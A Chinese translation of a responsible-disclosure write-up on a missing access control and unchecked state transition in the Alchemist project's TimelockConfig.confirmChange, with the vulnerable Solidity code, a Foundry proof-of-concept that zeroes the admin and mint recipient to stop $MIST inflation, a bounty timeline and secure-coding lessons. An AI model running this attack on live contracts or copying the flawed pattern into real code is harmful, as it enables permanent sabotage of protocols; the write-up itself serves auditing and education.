本文分析了 Alchemist 项目 TimelockConfig 合约中confirmChange函数缺少访问控制和未检查状态转换的漏洞,攻击者可以通过调用该函数将关键配置设置为0,从而阻止$MIST通货膨胀的分配。作者提供了漏洞的发现、验证、修复和披露的时间线,并为开发者和审计人员提供了关于安全开发的经验教训。
Alchemist 是一个 web3 社区,它开发了著名的 Fjord Foundry 平台和一个 DeFi 生态系统,该生态系统至少包含:
Alchemist ERC20 - 代币 $MIST
Aludel - 质押/奖励计划
Crucible - 用于 ERC20 代币的金库/智能钱包,用于订阅像 Aludel 这样的质押/奖励计划
Alchemist.advance() 根据设定的参数铸造新的通货膨胀,这些参数可以 streamed 到 Aludel,以便分发给质押者。控制 Alchemist 的参数由 TimelockConfig 设置,该参数实现了一个由多重签名管理钱包管理的 2 步延时更改系统。
对配置的更改首先在第 1 步 TimelockConfig.requestChange() 中提出,然后必须经过一段等待期(当时为 7 天),在此期间可以取消更改 TimelockConfig.cancelChange(),并且只有在等待期过后才能确认更改 TimelockConfig.confirmChange()。
虽然 requestChange() 和 cancelChange() 具有 "onlyAdmin" 修饰符,但 confirmChange() 没有,允许任何人调用 Timelock.confirmChange() 来确认先前由管理员请求的更改,只要该更改已完成等待期。虽然这听起来无害,但这种缺失的访问控制确实通过打开 confirmChange() 函数为攻击者创建了一个入口点。
仔细检查 TimelockConfig.confirmChange() 表明它没有正确验证配置过程的第 1 步是否已提出:
// @audit 完成 2 步配置更改过程,存在两个问题:
// - 缺少此过程中其他函数具有的 onlyAdmin 修饰符
// - 实际上并未验证配置过程的第 1 步是否已启动
//
// 攻击者可以调用 confirmChange(ADMIN_CONFIG_ID),如果第 1 步尚未启动,则将管理员设置为 0,从而有效地破坏管理员
function confirmChange(bytes32 configID) external override {
// require sufficient time elapsed
require(
// @audit 如果第 1 步未启动,_pending[configID].timestamp = 0,因此检查将通过
block.timestamp >= _pending[configID].timestamp + _config[TIMELOCK_CONFIG_ID],
"too early"
);
// @audit value = 0 如果第 1 步未启动
// get pending value
uint256 value = _pending[configID].value;
// @audit _config[configID] = 0,如果传递 ADMIN_CONFIG_ID,则破坏管理员
// commit change
_configSet.add(configID);
_config[configID] = value;
// delete pending
_pendingSet.remove(configID);
delete _pending[configID];
// emit event
emit ChangeConfirmed(configID, value);
}
因此,如果没有提出任何更改,攻击者可以直接使用他们想要设置为 0 的任何 configID 调用 TimelockConfig.confirmChange(),它将立即将该 configID 设置为 0。这种 未经检查的状态转换漏洞 已被其他审计员在其他使用 2 步所有权转移流程的项目中观察到,并且我刚刚在 3 天前通过研究 @gogotheauditor 的 审计报告 了解了它。@pashovkrum 也评论说,他经常看到开发人员似乎假设从映射中读取不存在的索引会恢复的代码,例如:
uint a = _pending[configID].timestamp;
在 Solidity 中,如果 _pending 不包含 configID,则将返回一个包含所有默认成员值 0 的对象!由于相同的行为会导致许多其他编程语言抛出异常或终止,因此我 推测 这是从其他编程语言中延续下来的,开发人员下意识地将其带入 Solidity,这就是为什么它在不同的项目和不同的团队中都能看到。
为了利用此漏洞来最大程度地扩大损害,我检查了系统的其他部分,发现我可以破坏 mint 接收者,强制 Alchemist.advance() 恢复,从而永久停止通过 StreamV2 向 Aludel 提供的 $MIST 通货膨胀,以进行质押奖励。
// @audit 由 StreamV2.advanceAndDistribute() 使用,通过 Aludel 向质押者分发新的通货膨胀
function advance() external override {
// require new epoch
require(
block.timestamp >= _previousEpochTimestamp + getEpochDuration(),
"not ready to advance"
);
// set epoch
_epoch++;
_previousEpochTimestamp = block.timestamp;
// create snapshot
ERC20Snapshot._snapshot();
// calculate inflation amount
uint256 supplyMinted = (ERC20.totalSupply() * getInflationBps()) / 10000;
// mint to tokenManager
// @audit 可以在 TimelockConfig.confirmChange() 漏洞中破坏为 0,
// 强制此函数永久恢复,破坏 $MIST 质押奖励
ERC20._mint(getRecipient(), supplyMinted);
// emit event
emit Advanced(_epoch, supplyMinted);
}
然后,我创建了一个概念验证来验证攻击:
contract AlchemistTest is Test {
Alchemist public vulnContract;
address owner = address(1);
address attacker = address(2);
// vuln contract params
address recipient = address(3);
uint256 inflationBps = 100;
uint256 epochDuration = 1000;
uint256 timelock = 60 * 60;
uint256 supply = 1000000;
uint256 epochStart = 1000;
function setUp() public {
vm.prank(owner);
vulnContract = new Alchemist(owner, recipient, inflationBps, epochDuration, timelock, supply, epochStart);
assertEq(vulnContract.getAdmin(), owner);
assertEq(vulnContract.getRecipient(), recipient);
}
function testBrickAdvance() public {
// allow time to pass, but don't initiate 1st step of config change
skip(timelock);
// attacker can brick all parts of the config to 0; setting recipient
// to 0, can brick the advance() function. Combining this with
// bricking the admin and it is not recoverable.
vm.startPrank(attacker);
vulnContract.confirmChange(vulnContract.ADMIN_CONFIG_ID());
vulnContract.confirmChange(vulnContract.RECIPIENT_CONFIG_ID());
vm.stopPrank();
assertEq(vulnContract.getRecipient(), address(0));
assertEq(vulnContract.getAdmin(), address(0));
vm.startPrank(owner);
vm.expectRevert("ERC20: mint to the zero address");
vulnContract.advance();
vm.stopPrank();
}
}
在验证攻击有效后,我通知了 Alchemist 团队。
2023 年 3 月 17 日 - 确定了漏洞并开发了概念验证,
2023 年 3 月 18 日 - 提醒 Alchemist 团队,支持他们部署临时修复程序以防止类似攻击,并提供了永久解决方案的建议,
2023 年 4 月 14 日 - 收到错误赏金,相当于国库(流动和非流动)的 10%,在收到时总价值为 2.8 万美元,并获得 Alchemist 团队的许可,可以公开发布此报告。
Solidity 开发人员应注意他们在其他编程环境中工作时所带来的下意识假设;当涉及到 Solidity 时,这些假设可能不成立,Solidity 的行为方式可能与他们习惯的完全相反。Solidity 在寻址映射中不存在的索引时不会恢复,它会返回一个带有默认成员值的空对象。
开发人员应保持警惕,以验证他们期望发生的状态转换是否实际发生。在 2 步过程中,开发人员必须验证第 1 步是否已发生,如果未发生,则恢复。
相关的功能集应具有相似的访问控制。将功能暴露给任意外部调用者会增加代码的攻击面;TimelockConfig.confirmChange() 即使存在未经检查的状态转换错误,也可以通过简单地拥有 "onlyAdmin" 修饰符来保护,从而防止除管理员之外的任何人调用它。
开发人员应寻求实施 纵深防御 策略,并在谨慎的一面犯错;函数应包含输入验证、状态验证、不变/健全性检查。开发人员应考虑在函数中计算的关键参数,并包含健全性检查,如果它们等于不应等于的值(例如 0),则恢复执行,即使开发人员无法想象攻击者可能如何导致这种情况发生。
审计员应了解他们如何 利用开发人员的假设;智能合约审计员应有意识地问自己:开发人员做出了哪些下意识的假设,这些假设是否有效?如果无效,是否可以利用它们?
在审计多步骤流程时,代码是否在每个步骤中验证前一个步骤是否实际发生,或者开发人员是否假设前一个步骤已经发生,因此没有正确验证它?
在审查函数或代码流时,每个专业的 智能合约审计员 都应检查他们是否可以导致在函数内部计算的关键参数设置为 0(或其他意外值),代码是否会继续使用 0/意外值执行,以及这可能造成的后果是什么 - 尤其是当开发人员假设代码将使用非零值执行时。
15
1
- 原文链接: dacian.me/28k-bounty-adm...
- 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!